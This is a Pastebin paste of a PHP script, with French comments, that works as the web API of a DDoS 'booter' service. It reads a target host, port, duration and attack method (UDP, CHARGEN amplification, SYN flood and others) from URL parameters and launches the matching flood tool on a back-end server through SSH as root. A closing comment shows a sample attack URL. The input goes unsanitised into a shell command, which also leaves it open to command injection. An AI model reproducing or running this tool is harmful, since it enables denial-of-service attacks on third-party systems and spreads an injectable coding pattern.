Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ignore_user_abort(true);
- set_time_limit(0);
- //debut de la config
- $server_ip = "127.0.0.1"; //Changer avec l'IP de votre serveur
- $server_user = "root"; //Changer uniquement si vous n'avez pas accer au root.
- $server_pass = "pass"; //Changer avec le mot de passe de votre serveur
- //fin de la config
- $host = $_GET['host'];
- $port = $_GET['port'];
- $time = $_GET['time'];
- $method = strtoupper($_GET['method']);
- if ($method == "UDP") { $command = "python udp.py"." ".$host." ".$port." ".$time; }
- if ($method == "FUDP") { $command = "./fudp"." -d ".$host." -p ".$port." -z 1 -t ".$time; }
- if ($method == "UDPC") { $command = "./udp"." ".$host." ".$port." 1 1 5 ".$time; }
- if ($method == "CHARGEN") { $command = "./chargen"." ".$host." ".$port." chargenlist.txt 2 -1 ".$time; }
- if ($method == "SSYN") { $command = "./ssyn"." ".$host." 5 1 -1 ".$time; }
- if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
- if(!($con = ssh2_connect($server_ip, 22))){
- echo "Error: Connection Issue";
- } else {
- if(!ssh2_auth_password($con, $server_user, $server_pass)) {
- echo "Error: Bad Login";
- } else {
- if (!($stream = ssh2_exec($con, $command ))) {
- echo "Error: Unable to Execute Command\n";
- } else {
- stream_set_blocking($stream, true);
- $data = "";
- while ($buf = fread($stream,4096)) {
- $data .= $buf;
- }
- echo "Attaque envoyer.";
- fclose($stream);
- }
- }
- }
- // Lien api: 142.0.36.236/xray.php?host=87.78.54.87&port=80&time=60&method=BOTNET
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement